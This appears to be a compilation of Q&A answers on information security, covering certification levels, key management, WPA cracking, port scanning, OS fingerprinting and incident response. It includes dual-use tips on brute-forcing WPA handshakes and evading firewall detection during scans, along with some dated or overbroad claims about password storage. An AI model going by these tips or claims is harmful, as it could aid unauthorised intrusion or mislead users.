How can programming knowledge help towards information security

Short answer: Start learning the security aspects of the technologies you already know.

Longer answer: the term "cyber security expert" is much broader than I think you realize. Like any technical field, there are lots of sub-areas, each requiring specialized knowledge. Even on this site you can see that no one person feels qualified to answer all types of questions - some people are cryptographers, others know about secure coding practices for C/C++, others know about secure coding for php / python / ruby, others know about firewalls and anti-virus configuration. You really have to be an expert in something before you can start thinking about how to penetration test it, or harden it against exploits.

Metaphor: your kid is sick, you take them to the doctor and the doctor says "I'm actually a plumber by training, but I recently took a course in what medicine to prescribe for which symptoms". Yeah, that's not good enough, I want my doctor to be a full expert in biology and understand why the medicine works, not just know which one to prescribe - similarly a "security expert" really should be a top-to-bottom expert in the technologies they are looking for weaknesses in.

Where to start:

If you already work for a company where you already have an assigned job, this will give you an area to concentrate your security studies. If you don't deal with a lot of code, then don't learn to code just for security, spend your time elsewhere!

If you are trying to apply to a "new grad" security positions at a company, then they will expect to have to train you anyway - you will have to learn their products and environment, looking for security holes along the way. You need to demonstrate that you "think like a gamer" - that your gut reaction to seeing something new is to say "what are the rules of this system, and how can I exploit them?". It's much easier to pick up the technical skills than to pick up this mindset.


What advantages do Secret Managers offer in terms of authentication [API usage]?

It always depends how critical is your software.

 Software
Yes, most of the times you still have to provide a key or credentials at some point, programmatically, or by giving access to a file only to a specific service and that file contains the secret. If you're choosing any of these ways, it is important to erase the value from the memory as soon as possible (immediately after the authentication if this is your purpose).
If your purpose is encryption or digital signing, you can always use public key cryptography, give the software the public key (and use that one for encryption/ digital signing) and use somehow else (offline/ stored separately) the private key.

Hardware
If you can afford hardware, then a solution might be storing the master secret on a separate device that you are sure enough it won't be compromised, and couple that device to a server in a secure cage/ data-center.


Deference Between EAL 1-7 in Common Criteria Standard?

The EAL levels are:

EAL1 - functionally tested
EAL2 - structurally tested
EAL3 - methodically tested and checked
EAL4 - methodically designed, tested, and reviewed
EAL5 - semi-formally designed and tested
EAL6 - semi-formally verified design and tested
EAL7 - formally verified design and tested

You can see these are increasingly rigorous, from functionally tested to formal verification. The security or safety of something isn't an absolute value, it is subjective and contextual, i.e. it depends to a great degree on what you are testing, and what you are using it for.

A "+" suffix is used commonly to indicate an augmented EAL: this includes one or more assurances in addition to the indicated base level. e.g. EAL 4+ for an OS is often seen, the additional assurances usually include Flaw Remediation components (ALC_FLR, documented and formal security flaw reporting and management procedures).

A key part of an EAL is the Security Target document, put simply this comprises a rigorous definition of functions, features and intended use, tailored for the specific hardware or software component under test (the TOE, Target of Evaluation).
The EAL rating determines the extent of the testing, and the confidence that security is as claimed. You cannot simply compare EALs numerically, the number can only be properly understood in the context of the Security Target; and most importantly, that can only be understood in the context of your security requirements.

Colloquially, EAL indicates the degree to which something does what it says on the tin, you have to make sure you have the right tin ;-)


I would suggest reviewing the connection settings for the DB as well as resetting any passwords and verifying any hostnames for users allowed to connect to the DB.  Also, be sure that you have run down the original source of the intrusion.  (If you have a query log, look for what other querys happened with the rogue queries, since SQL injection piggybacks on a valid query.)

The more complicated issue would be if you are hosting HTML content out of the DB in which case the attacker could have introduced pages that would allow for further injection, but such records would be very hard to find without doing a diff as you described.  This could also apply if they did any permission elevation within the system that is running on the DB.

There may be other things worth checking, but those are the immediate things that come to mind for generic ways that a SQL DB could remain compromised.


How is "anonymous" getting ahold of all these plain-text passwords

Yes, a lot of these sites are so badly configured that they store the passwords in plain-text.

Or, when passwords are stored as encrypted hashes, the hackers are releasing easily decrypted passwords. Actually, only in the case of the NewsCorp hack did Anonymous decrypt the passwords, other than that, they've simply been publishing the password hashes: the mainstream news gets confused, though, and describes this as releasing passwords. In practice, it's pretty trivial to decrypt hashes. For example, people were able to decrypt 40% of the passwords in the Booz-Allen dump.

No, they aren't intercepting passwords. They are largely just dumping everything on the server, defacing the site, then moving on.

I don't know why you are unnerved: most sites that you give your password to on the Internet will store it in plain-text. Only the very security conscious, those who tend to secure themselves from hacking in the first place, will worry about hashing the passwords.


Keyboard "eavesdropping" just got way easier, thanks to electromagnetic emanations

There are electronic countermeasures you could use to foil this kind of attack, like tempest hardening, or sending out jamming signals on the frequencies that your keyboard may emanate. You could also use a soft keyboard on your screen, although screens are also vulnerable to that same kind of attack.

In reality this isn't something to worry about. It is a very sophisticated attack so would have a very limited number of attackers who could carry it out. Anyone sophisticated enough to be able to carry out this attack would have many other more reliable and easier ways to get the same data, like breaking into your place and installing a physical key logger, or using a zero day vulnerability to crack your system and install stealth malware.


Hiding Keepass databases and Truecrypt containers

2) In theory, yes.  A Truecrypt container, considered in the abstract, is indistinguishable from random noise.  In the absence of something pointing to the file and saying "this is a Truecrypt container" (eg. a recently-used files list), an attacker cannot prove that a given file is a Truecrypt container.

In practice, no.  Normal people do not carry around large blocks of random data on their computers, so a large file that is statistically indistinguishable from randomness and does not have is almost certainly an encrypted file.  If someone has a large random file and the Truecrypt software on their computer, it's a good bet that the file is a Truecrypt volume.

1) I'm not familiar with OpenPuff, but in general, I distrust steganograpy.  The data you're trying to hide rarely has the same statistical properties as the data you're hiding it in, eg. the well-known "hide the data in the low-order bits of an image" trick fails if the image has large areas of solid color (such as a cartoon) or the low bits are biased in non-random ways (as is common with digital cameras).  The best place to hide a needle is not in a haystack, but in a pile of other needles.


How can I scan open ports through Windows Firewall?

A port scanner, like nmap, connects to a port and analyzes the traffic being returned. A firewall's most basic function is to block access to a port. This means that there is no way to scan a port that is being blocked by a firewall. With some exceptions...

Some firewalls will allow traffic to a port unless it determines that the traffic is malicious (like a port scanner) and then it blocks the port. Sometimes reducing the speed of the scan can help, sometimes scanning the most probable ports first (80, 443) can work in case the firewall is designed to block IPs that scan blocked ports. Some firewalls can inspect the packet characteristics in order to determine that the packet came from a port scanner (each one has a fingerprint). So, in order to bypass these types of protections, you would need to play with the scanner settings, try different scanners, connect to expected ports with a valid client (browser to port 80), or build your own tool. But in all(?) cases, if the firewall is configured to block traffic to a port, then you cannot communicate with the port.

That said, Windows Firewall does not have any of the above protections. It blocks traffic to ports.


Are KIS 2014, Malewarebytes Pro and SpyBot sufficient to prevent internet attacks?

This will only protect you from well known viruses. To be honest, if they perform a targeted, direct attack against you, you would expect the attacker to employ several anti-virus evasion techniques which will bypass all your AV software because its fingerprint is not cataloged yet. Anti-viruses are good protection to prevent infection of known viruses. They can offer no or only limited protection against targeted attacks. Also note that once you have been affected it's already too late. If you have been affected by a virus (it has been able to execute) you should nuke it from orbit and restore from the last know good, clean backup.

A VPN will give you  privacy, it will not give you security, the same goes for ipchains and proxies.


Is brute-forcing the only way to crack WPA?

WPA can be used with different protocols. Using WPA-TKIP, there are alternative attacks than the common handshake-bruteforce, but those will not grant you access to the AP. These attacks focus on RC4 weaknesses (similar to WEP, but far less effective due to successful countermeasures).

I assume that you want to acces an AP. In this case, bruteforcing is the only possible way to crack WPA. You capture a handshake between client and accesspoint, and perform the challenge-response yourself with different passwords, until your result matches the one you captured.

This can be sped up by using rainbow-tables, although you will have to find a target using a popular SSID in order to have an existing rainbow table.

Thus, to protect against intruders, you should choose an uncommon SSID along with a fairly long and complex password.

And no, you can not attack WPS when WPS is disabled or not supported. There may be bugs preventing a user from disabling WPS, but i consider these APs WPS-enabled.


role based site security - the nuclear missile condition

A similar solution is used for emergency cases, often called a 'break-glass' solution and it typically requires a separate administrator level account, with a password split into two halves, and documentation on these passwords held in safes (usually IT's and an executive safe)

I don't think your use case qualifies as emergency, as it could happen pretty often, so what you find is much more common are controls implemented at the personnel level, including:

more stringent vetting
logging of everything privileged users do

This allows work to carry on as normal without being impacted by intrusive security controls, while also protecting the company.

Of course the above holds for developers with access to live. For developers running BAU tasks, the preferred method is for them to only have sanitised data. They would take the customer account database, generate replacement names and addresses and use these in Dev, UAT, OAT and Pre-Prod environments so Devs never got access to the live environment.

Over the last 16 years I can probably count the number of organisations that do that on the fingers of one hand, so go back up and use vetting and logging. Sorry, but that's the way it tends to work.


What is the best way to reissue user certificates after configuration change in a template?

ADCS has a feature for this.

Assuming you have the Certificate Services Client - Auto-Enrollment group policy configured, simply create a new template in the MMC with the correct SAN configuration and add the original template name to the Superseded Templates tab.  Group policy will enroll for a new certificate with this template and delete the original for you.

There's no need to revoke anything as nothing's been compromised.


There are books on this topic under the subject heading "cyber forensics".

Normally you will want to image all the memory of the computers involved and then the drives, so you can figure out what may have been taken. You also want to review and organize all your network logs. You also want to T-off any infected machines to capture the packet stream for surveillance reasons. This can be done at the switch or using specialized hardware like a basic SharkTap sniffer. It is advisable to get yourself set up to tap and copy ahead of time, so if you need to do it, there is no delay.

You also want to avoid tipping off the hackers that they have been noticed. Don't go around shutting things down, because then they will go and hide. You want to pretend like nothing has happened, so they keep doing stuff. If you can figure out how to watch them, you will be in a much better position to determine what may have been copied, and maybe even able to catch them.


Virus suspicion on website built with PHP Codeigniter

This sounds very much like your server was compromised, and someone is using it to spread malware with the help of drive by downloads. Consider taking your site offline, as it might be infecting your visitors with malware.

To make sure that this is actually the case, I would recommend the following:

Ask the person responsible for the site if she knows what this might be. If there is a natural explanation, she should know.
Download the file (preferably on a VM to keep your system safe) and scan it with a couple of antivirus programs. Open it in a text editor to see if there is any reasonable explanation to why it should actually belong on the site.

When (and if) you have determined that it is infact malicious, you will have a lot of work ahead of you. This question explains it well. You will have to figure out how the compromise happend - how did the attackers get in - so you can stop it from happening again. And you will need to completely reinstall your whole system.

I know it is a though pill to swallow, but it is the only thing to do.


Warning: half-knowledge ahead.

If you look at any given certificate, you see that it contains various fields that could in theory be checked by an application. For example, an application might reject a certificate that used weak cryptography (Google chrome does this). Certificates can also be given a specific purpose (such as: only use this for client authentication). So it's possible that an application that expected some kind of specific certificate might reject a "non-classified"-one.

Also, in theory, an application could be picky about which cert authorities it trusted (e.g. just the ones in india...). Usually such lists are distributed as a part of the operating system or the operating system's SSL libraries, and browsers come (I think) with their own additional lists of trusted cert authorities.

Now, since most applications don't roll their own crypto and don't keep their own list of trusted cert authorities, and instead use software libraries to check signatures, I'd guess that you should be okay with using a non-indian cert. Think about what would happen to interoperability if every other application used different rules on which certificates to accept.

An exception would be if you were dealing with specific software written by the indian government, which might have strict restrictions on which certificates to accept.

But really I don't think there's any way to tell for sure. This answer is mostly guesswork.


Does this kind of USB "port knocking" exist?

It's definitely possible to check parameters of a USB device without mounting/allowing  it to be functional. For example, the tool usbguard provides a Linux kernel module that checks parameters of a device against a whitelist before it can be used.

However, I don't think it is sufficient for authentication. Just like network port knocking, it could be intercepted and then duplicated. Depending on the platform and privileges, maybe non-administrator programs could passively record data about plugged in devices, their contents, and the sequence in which they are plugged in. Or, maybe some really small USB sniffers (almost like a keylogger of sorts; not sure if this exists?) are installed over the USB ports that perform similar monitoring. Then, new USB devices could be created to match the criteria (fairly certain you can spoof nearly all attributes, even using something like Raspberry Pi Zero which can pretend to be a mass storage device).

Now, maybe that could be mitigated by rotating keys over the network on a frequent basis, but then you'd have a lot of physical overhead in keeping your USB keys up to date.

That said, I wouldn't want an administrator entering their own credentials into a machine that is compromised in the above ways. Enabling/disabling USB ports could probably be done safely using group policy or the like, although I'm not sure if there is a ready made solution.


What security problems are exposed by running untrusted macros in excel?

Macros can do anything that the user context of the program itself can do. They are executable programs. For example, they could contain a native executable, which is dropped onto the filesystem and then executed. If the user runs the program (e.g. Word) as an administrator, then the macro's payload now has full control over the system.

In general you should avoid macros like the plague. They're difficult to properly audit, since event callbacks can be used to hide code all over the place. Untrusted documents should be opened in a sandboxed environment (e.g. via Sandboxie, or in a VM) and the office application should be configured to block macros by default, either entirely or with a prompt to allow once.

Since vulnerabilities common document applications (e.g. Adobe Reader, Microsoft Office, etc.) are widely targeted, it can be useful to use alternatives (e.g. FoxIt or LibreOffice) that aren't as common. This is a security through obscurity method, but it has a tangible use-case here. I also highly recommend installing Microsoft EMET and configuring it for any application that commonly accesses untrusted data, including web browsers and office programs. This will usually prevent a huge portion of exploits from working properly, as long as they haven't been explicitly written to target EMET-protected systems.


RDP stands for "Remote Desktop Protocol", so what it provides to people who connect is a full fledged session on the server. By default, this gives these people the same kind of power that they could have by sitting in front of the machine (except that they won't be able to attack the machine "physically").

If you want to prevent users from, e.g., uploading arbitrary executable files to the RDP server and running them from the server, then you have to restrict the Windows session down by deactivating right-click on most items, removing most or all of the "Start menu" entries, preventing copy&paste of files through RDP, and generally speaking nerf it down. All of this can be down through Group Policy Objects pushed from the Active Directory server. However, there are a lot of details to think about, and since this is a blacklist-like activity, it is difficult to know if you thought of everything (for instance, if you want to allow users to connect to a second server through Internet Explorer but do not wish them to access the configuration menus of IE, remember that the "Alt" key can make these menus reappear, if you just "hide" them). As a general rule, I would advise against using an intermediate RDP server as the foundation for your security; you'd better treat the RDP machine as "potentially hostile".

The security situation is similar with VNC, since it exports a desktop. The comparison between RDP and VNC will be mostly over performance and integration (if using a Windows server, RDP will be easier to setup for multiple concurrent clients, and will offer better performance over slow networks; for Linux systems, consider FreeNX).


What useful security reports can be extracted from a Windows-based machine and its related logs?

For log analysis OSSEC has a few files with MS specific rules designed to extract interesting security events.  To see individual rules one can peruse these files:

  [/var/ossec/rules]# ls -l ms*
  -r-xr-x--- 1 root ossec 31423 Sep  7  2010 msauth_rules.xml
  -r-xr-x--- 1 root ossec 11978 Sep  7  2010 ms_dhcp_rules.xml
  -r-xr-x--- 1 root ossec  1547 Sep  7  2010 ms-exchange_rules.xml
  -r-xr-x--- 1 root ossec  2077 Sep  7  2010 ms_ftpd_rules.xml
  -r-xr-x--- 1 root ossec  2190 Sep  7  2010 ms-se_rules.xml

For the latest copy of these rules files you can head over to bitbucket -> https://bitbucket.org/dcid/ossec-hids

(under Source -> ossec-hids / etc / rules /)


Difference between SSL connection and SSL session

In General:

A connection is a communication channel between a client and a server. For example: a TCP socket. Connections are usually short lived and servers are usually configured to timeout a connection if it is left idle for too long.

A session is a way of maintaining state on the server side. You can think of it as a memory chunk allocated on the server and this memory chunk is associated with a connection. Even if a connection dies, you can resume a session (using cookies in case of HTTP protocol).

You can read more about it in this whitepaper.

In context of SSL:

The same applies for SSL/TLS and for any other protocol. This is very well explained, in simple terms, in one of the results when you google it. Here you go:

  Difference between connection and session is that connection is a live
  communication channel, and session is a set of negotiated cryptography
  parameters.

  You can close connection, but keep session, even store it to disk, and
  subsequently resume it using another connection, may be in completely
  different process, or even after system reboot (of course, stored
  session should be kept both on the client and on the server).

  On other hand, you can renegotiate TLS parameters and create entirely
  new session without interrupting connection.


Four ECDSA P256 CSPs are available in Windows. Which one should I use?

In a cipher suite like TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, there are two involved curves:

One is used for the ECDHE part: a Diffie-Hellman key exchanged is used between client and server, over a given curve.
The other is for the ECDSA signature computed by the server: the server signs its ServerKeyExchange message. ECDSA is a signature algorithm that uses computations on an elliptic curve.

There is no requirement that both curves be the same; they are mostly unrelated and live in different worlds. On a conceptual level, the one used for ECDHE is more important, because it must ensure security for the lifetime of the data which will be exchanged over the wire (i.e. if the data is still important ten years from now, then the curve must still be robust ten years from now); the one used in the signature is only for now, and it does not really matter if it gets broken tomorrow.

Note that forward secrecy is all about the key exchange, i.e. the ECDHE part. This is the same idea: security of the signature system matters only for now. Thus, you could perfectly have ECC-powered forward secrecy with a TLS_ECDHE_RSA_* cipher suite, i.e. with an RSA key in the certificate.

Normally, the CSP choice (technically, "CNG key storage provider") is about the type of the private key that will indeed be stored, i.e. corresponding to the certificate and the ECDSA (or RSA) signature. The curve for ECDHE is chosen independently(*), between the client and server, with secrets which are kept in RAM only (and therefore never stored, which is the point of forward secrecy).

That being said, the one curve that is supported everywhere is NIST's curve P-256, also known as "secp256r1" or "prime256r1" (not to be confused with "secp256k1", which is a distinct curve). The NIST curve P-384 also has a fair share of widespread support, although maybe not as much as P-256. Also, P-384 implies a bit more computational work (about three times as much), which does not matter in practice except if some constrained embedded systems are involved (not smartphones; really small systems). An additional point is that P-256 already ensures more than adequate security, even with regards to technological improvements: as far as we know it, if a P-256 ECDHE key exchange ever gets broken, then it will be through use of an as yet mythical quantum computer, and if such a beast is ever built, then it will mince through P-384 with almost as much ease. In that sense, there is no security advantage of using P-384 instead of P-256.

Summary: for maximum interoperability, use P-256. Client and server SSL implementations may still decide to use another curve for the ECDHE part; unless specific guidance is applied, that other curve will usually be P-256 as well, or (depending on involved implementations) Curve25519, which is also a nice choice for security.

(*) Mostly. Some OpenSSL versions will try to match the ECDHE curve size with the curve used in ECDSA, which may or may not make sense since they relate to different operations with different security characteristics, especially with regards to future technological improvements.


NGINX 444 response equivalent for Apache server

HTTP status code 444 is simply an internal response that indicates NGINX has closed the connection without response. This is a non-standard code and is not sent to the requesting client. Often, 403 Forbidden is the equivalent used in Apache.

To generate an error in response to DoS or other attacks, you will need a script on either NGINX or Apache that responds to a set of configured rules.

In NGINX, this is often done with ngx_http_limit_req_module.

In Apache, this is commonly done using a combination of the mod_security and mod_evasive modules.

There are a number of good tutorials on how to set this up given your environment.


I think all this means is that:

Zap requires an SSL cert to intercept your browser connections
To do this, they'll need to create a CA cert that users need to install on their browsers
Instead of creating one static CA cert used by all their users, they create a dynamic CA cert that users generate individually and install on their machines during setup.
This way, if someone compromises a users CA, that compromise doesn't impact other users using their solution -- as every user has a unique CA cert.

The 'dynamic' only refers to the CA cert, and it being unique per user.


How to decide "I'll trust this software" for closed-source or precompiled software?

Trust is not a boolean variable, "trusted = true / false", you should better think about trust level.

A few example of questions which may help you to evaluate the trust level you can grant to this software:

How much do you trust the editor of this software?
Could the software have been modified by a malicious 3rd-party between being created and being delivered to your computer?
What is the sensitivity of the data you need provide to this software?
What is the sensitivity of the data residing on the computer which will run this software?
How long and how often will need to use this software?

If I correctly understand your question:

You do not trust the editor, otherwise you wouldn't have asked this question in the first place,
This software will just need the information related to this webinar you will attend,
Your computer hosts sensitive or at least personal information which makes you worry about trust issues,
This will be a one spot usage for this webinar, at best for further reference only.

In such conditions, I would just create some virtual machine so I would not worry anymore with any privacy issue while being free to comply with the webinar requests. Once the webinar ends, I will be free to either archive the VM image or drop it.


Firefox

From Firefox 52, the battery API has been disabled and is only available to chrome/privileged code (I would assume add-ons fall into this category). For earlier versions, the battery API is enabled by default. It can be disabled by going to to about:config and setting the dom.battery.enabled to false. Changes take effect immediately on subsequent page loads.

Chrome & Android

Both the mobile and desktop version are affected. This feature is enabled by default and there doesn't seem to be any way to disable it yet, though you shouldn't be using Chrome at all if you care about privacy.

The Android browser is affected since version 40, without any way to disable it either.

Internet explorer

The feature is under consideration and isn't (yet?) implemented in any current versions.

Safari

This feature isn't currently implemented in any versions, neither desktop nor mobile.

Opera

Opera on desktop is affected, the feature is enabled without any way to disable it. Opera Mini isn't affected.

Here's a demo you can use to check whether you're vulnerable. There is also Can I use which provides fairly up to date information about which features are supported in browsers. I'll do my best to keep this answer up to date but I suggest you double check on there just in case something changed.


It's a broad question, and here is a broad explanation. I believe you're at low risk to be hacked, assuming you follow good computing habits, and don't have any other risk factors you haven't told us about.

An email itself is just text. Assuming you haven't given away any personal or technical information when you replied, the recipient only knows that:

the email account is active
your email provider, and their mail server details
your ISP (maybe, if you are using an email account they provided)

This isn't enough information to effect a reliable attack on your computer. They would need additional details like:

your OS, browser, and browser plugin versions and patch levels (to use unpatched exploits)
your firewall settings (to attempt brute force attacks against SSH or RDP or similar)

Alternatively, they would need you to run malware on your computer (usually emailed to you disguised as something else. e.g. anna-kournikova-naked.jpg.exe)

Furthermore, we assume you have no traits that would interest an attacker, hence no motive for a targeted attack.

So keep your OS and software up to date, don't run malware (accidentally or on purpose), and it should be fine. It's unlikely that the person you replied to has enough information to target you specifically.


You're better off using DPAPI.

While AES-256 / CBC / PKCS7 / etc is a good choice of cipher+params, that still won't solve your problem:  After you encrypt the encryption key, what do you do with the Key Encrypting Key (KEK)?  You'll still be stuck having to encrypt the encryption key...

DPAPI provides an excellent solution, allowing you to punt off the responsibility of key management onto the OS. (Sort of.)

You can use the ProtectedData class, from the System.Security.Cryptography namespace, it is very simple and straightforward - just make sure you set USER_MODE to make sure that only that user has access to decrypt the key.

Going back for a moment, depending on the application, you might be better off using DPAPI to protect the KEK (key encrypting key), and not the encryption key itself - sharing and distributing keys becomes easier, as does rekeying (if necessary).


How secure is the SRP that Blizzard uses to protect passwords?

SRP is designed to protect the transmission of the password against brute-force attacks, even in case the password could be easily bruteforced.

However, if some Blizzard authentication server was compromised, the relevant attack vectors are different. Apart from the storage-scheme, the adversary can also listen in to ongoing transactions and, in parallel, store the temporary DH secrets generated by the SRP servers. The latter attack is a bit complicated and requires extensive preparation by the attackers, however, it would surely leak any logins used to authenticate to the compromised system.

The more traditional attack vector is the verification values. In SRP, the verifier values on the server side are not traditional hashes but results of an exponentiation, like in Diffie-Hellmann.

To my knowledge there is no detailed analysis of SRP vs. PBKDF2 or bcrypt. Somewhere on the SRP site (srp.stanford.edu) I once saw a note that people implemented a bruteforcer and found the required bruteforcing effort to be similar to traditional bruteforcing of hashes.

This is kind of expected: It is known that such exponentiations are hard to invert, just like a hash function. Assuming Blizzard implemented a standardized protocol like RFC2945 and did not try to invent the details on their own, these verification values will also contain a salt to make rainbow-tables impractical.

The main difference then is in the effort of bruteforcing individual verification values. Here, systems like bcrypt/PBKDF2 employ a scaling factor to increase the computational effort per password guess. The SRP schemes I know do not explicitly support this. Exponentiation is typically a bit more costly to compute than a hash, but this depends on the group (modulus) in which you're operating. I think increasing the modulus of the verification value in SRP is easily possible, but it will also increase the computation effort for 2 other exponentiations per peer that have to be done in every protocol run.

Update: Looking at RFC2945 once more, the password and salt is first hashed and then exponentiated. It would be easy to use PBKDF2 here instead of just hashing to implement a scaling factor for the bruteforcing effort without much impacting the rest of the protocol. Additionally, even when a small/unsuitable exponent N was chosen, the scheme is still as secure as a simple challenge-response-based pw-authentication.

Overall, Blizzard is probably a bit lucky as their kind of pw-storage is very uncommon and appropriate bruteforcers are not commonly available. However, for a determined attacker the SRP way of storing secrets is no more secure (possibly slightly less secure) than the state-of-the-art approach with a decent anti-bruteforce scaling factor. That being said, I applaud Blizzard for using some state-of-the-art crypto for their password-authentication, since online-bruteforcing is typically much more problematic.


Unencrypted FTP to transfer encrypted data - okay if IP-restricted?

It's hard to say what your definition of "OK" is, but generally, I'd say, no, you're not ok with your current setup. I'll cover your points individually.

The data being transferred is strongly encrypted. This is good. In other words, you could put the file with a download link up on a public website. If you trust the encryption, then your data is reasonably safe. However, if your data has tremendous value that would be worth spending time and money to decrypt, then people will try. Even with the best encryption methods, having many people trying to break it is not ideal. But it will soon become clear why I mention this as an alternative to FTP.
IP-restriction is in place at the firewall level. This is good. This means that even if your data is worth attempting to decrypt, it will not be possible unless you can pull off a MITM attack or somehow else get on the wire. This adds protection.
There is protection in place on the FTP server against file deletion (though not overwriting). This is where you went wrong. Plain Text FTP is fine, until you allow any sort of editing at all- and you said you can overwrite the file. Now you are worse off than if you didn't use FTP in the first place. You'd be better off with the public download link- at least no one can blow away your data.
The credentials aren't valid for any other services. That's a good thing, because you should treat the plain text ftp as if the credentials are public knowledge.

tldr; Remove the edit rights on the ftp user and then I'd say you're ok, even though your setup is strange. (And by strange I mean, why have all the protections and then use plain text ftp?)

To answer your other specific question- if someone sniffs the username and password, AND if they can get on the wire (but they already are if they're sniffing!), then they can replace your encrypted file with a different one. It sure would be a bad day if your important data was one day replaced with a text file that simply says, "F Society".


Modify Win OS banner to avoid OS detection

I suppose you're talking about the OS Fingerprint, which used to be a simple OS File that you could modify or replace.

However, with newer scan techniques, and combined scan techniques, modification of the fingerprint will no longer be sufficient to effectively hide your OS from nmap.

For example, the scanner looks at some TCP Properties, like the TTL and TCP Window size:

Operating System                      Time To Live  TCP Window Size
Linux (Kernel 2.4 and 2.6)            64            5840
Google Linux                          64            5720
FreeBSD                               64            65535
Windows XP                            128           65535
Windows Vista and 7 (Server 2008)     128           8192
iOS 12.4 (Cisco Routers)              255           4128

Then again, there's also "logic", if you have IIS or Windows RDS running, you're probably running Windows, if an NGINX banner is found, you're likely running Linux.

So in order to effectively hide your operating system from an attacker, you will need to hide banners from several services in order to get the desired effect.

Best would be to perform scans yourself, and take down identifiable banners one by one.


White screen popped up. All of sudden not able to do anything. Scam or something else?

This looks like scamware if anything - who even is this illusive "Corporate Security"? It's trying to get you to dial a number where they'll try sell some service or have you manually install something else.

You mention you were watching a movie - was it on a streaming site? If so, they're rife with these sorts of popups. If this is the case, you'll see a  URL at the top of your screen that it's loading (some quick Googling shows this number cropping up on a lot of self-reported scam call websites).

There must be some element of peristence for this wee infection - Malwarebytes/Avast/any number of good, free AV solutions will be able to scan your registry for anything lying there. Would recommend you do this rather than reinstalling Windows.


Securely generate a rng seed using a small number

If the user can go to a different computer, then so can the attacker. What differentiates the attacker from the normal user is only the knowledge of the 5-digit PIN.

Computers are deterministic systems, which means that the attacker can conceptually own 100000 computers; on computer 0, he runs your key derivation function over PIN 00000; on computer 1, he runs the function with PIN 00001; and so on. One of these computers will necessarily use the true user PIN, and produce the same "RNG seed" as the attacked user.

This kind of simulation is highly flexible. Generally speaking, if the user needs to invest X resources into using your system (say, it takes one second of computation on a normal computer), then the attacker can simulate all the virtual users with 100000*X resources. This can be by using 100000 computers and be done within one second; or by reusing one computer again and again, and thus taking 100000 seconds to iterate through all possible user PIN (that's a bit less than 28 hours). Or any combination in between (e.g. 10 computers running for 3 hours).

You have only two ways out of this conundrum, neither of which really solving your problem:

You can try to arrange for the derivation from PIN to RNG seed to take a lot of resources. This is basically the approach of password hashing. The main problem here is that the user is not patient, and won't use your system if it takes 20 seconds to process the PIN (for card payment systems, it has been measured that the whole process must be done within 8 seconds, otherwise the consumer goes berserk). The attacker, on the other hand, has a lot more patience, often has more powerful computers that can go faster than the average user's hardware (especially if we are talking about smartphones), and can in general muster a lot of them (if only by renting machines in some cloud like Amazon's).
In some very rare contexts, you can arrange for making it impossible to test for a good PIN. In the exhaustive search attack, the attacker tries all possible PIN and stops when he finds the one that "works". If a bad PIN yields a result that is ultimately as plausible as what you have with the good PIN, then the attack no longer works. But this is very restrictive.

For example, if the PIN is about protecting (through encryption) the user's files on a smartphone, then the attacker can easily see if the decryption yields files that "make sense", or just random garbage.

So, in practice, what you are trying to achieve won't work with a 5-digit PIN. Since the problem is basically that the attacker is more patient and more powerful than the user, and has comparatively few combinations to try, you need to either make the user more patient (good luck with that), or more powerful (hard to do, since the attacker can buy at least the same kind of machine as the user), or to increase the number of possible combinations. This is known as "password entropy". See this question for some discussion on kinds of passwords that can pack substantially more entropy (in that case, 44 bits, i.e. 244 = 17592186044416 combinations) while remaining easy to remember for a normal human user.


What if a ddos attacker hits public websites (google, amazon etc) with some requests but spoofed the souce ip to the victim's ip. Now the responses will be sent to the victim's ip.

The protocol used for web sites is usually TCP based, i.e. HTTP/1 and HTTP/2 are both TCP based. While spoofing of TCP is theoretically possible the necessary bandwidth for this wildly exceeds what gets reflected back, i.e. it is not really usable for an DoS attack since the attacker needs much more bandwidth by its own than what the DoS target receives.
HTTP/3 instead is implemented on top of the QUIC protocol which itself is implemented on top of UDP. While UDP by itself is vulnerable to easy IP spoofing the QUIC protocol makes sure that it cannot be used for amplification. With QUIC (and thus with HTTP/3) the attacker needs at least as much bandwidth by its own than the DoS target should receive.
In other words: web based DoS using IP spoofing will work worse than what would be achievable if the attacker directly attacks the target and will work much worse than use of a Botnet.
See also Is it possible to send HTTP packet via spoofed IP?


Aircrack-ng "successfuly" cracks a .cap file, but it outputs the wrong password

looks like you've cracked the default WPS pin and not the WPA2 password.
however, that pin can be used to get the WPA2 password, so you're almost there.

The strange thing is that I wasn't aware aircrack-ng targeted WPS, so maybe your .cap file captured someone elses handshake? some funny business is definitely happening. Some more information about your setup would be handy.

Perhaps start the attack again, get a fresh handshake, and confirm the router password is applied properly, some routers require a restart to properly make changes.


Can my employer see what I do on the internet when I am connected to the company network?

Yes. Always assume yes.
Even if you are not sure, always assume yes. Even if you are sure, they might have a contract with the ISP, a rogue admin who installed a packetlogger, a video camera that catches your screen... yes.
Everything you do at the workplace is visible to everyone. Especially everything you do on digital media. Especially personal things. Especially things you would not want them to see.
One of the basic rules of Information Security is that whoever has physical access to the machine, has the machine. Your employer has physical access to everything: the machine, the network, the infrastructure. He can add and change policies, install certificates, play man in the middle. Even websites with 'SSL' can be intercepted. There are plenty of valid reasons for this, mostly related to their own network security (antivirus, logging, prohibiting access to certain sites or functionalities).
Even if you get lucky and they cannot see the contents of your messages, they might still be able to see a lot of other things: how many connections you made, to which sites, how much data you sent, at what times... even when using your own device, even using a secure connection, network logs can be pretty revealing.
Please, when you are at work, or using a work computer, or even using your own computer on the company network: always assume everything you do can be seen by your employer.


During the analysis of a host you have to distinguish between two different approaches: Identification of products (e.g. Apache/IIS) and identification of technologies (e.g. PHP/ASP). The identification of these is similar in methodology but differs in technological details.

Many products announce themselves in welcome-banners, about sections and help mechanisms. Using and browsing an application with open eyes allows such an enumeration.

Some applications/technologies have specific optical characteristics. For example the HTML source of popular CMS is having a typical structure and is using repeating JS file names or CSS classes. Analysing these is called application fingerprinting.

There are some dedicated implementations for automated fingerprinting available. For example httprint and HTTPrecon for Webserver and HTTP header. There are other tools for other technologies too. Nmap is providing the argument -sV to enable version detection for different services/protocols based on fingerprinting techniques. This works very well.

Check out the OWASP according chapters for additional details and examples regarding web analysis.


What identifiable variables can be collected via server/client connection logs( wireless AP's) to uniquely identify a device across networks?

MAC address can be changed in software. Hostnames can also be changed in software. If the host runs multi-boot OS's, then the OS details, ports/services, and even the characteristics of how the machine uses WiFi will change.

There has been research into the unique qualities of WiFi radio transmitters, but you need special equipment.

If you own and control the networks you could issue client certificates and that makes it possible to track devices in a way that users cannot interfere with.


Why is it so difficult to protect an application against buffer overflows?

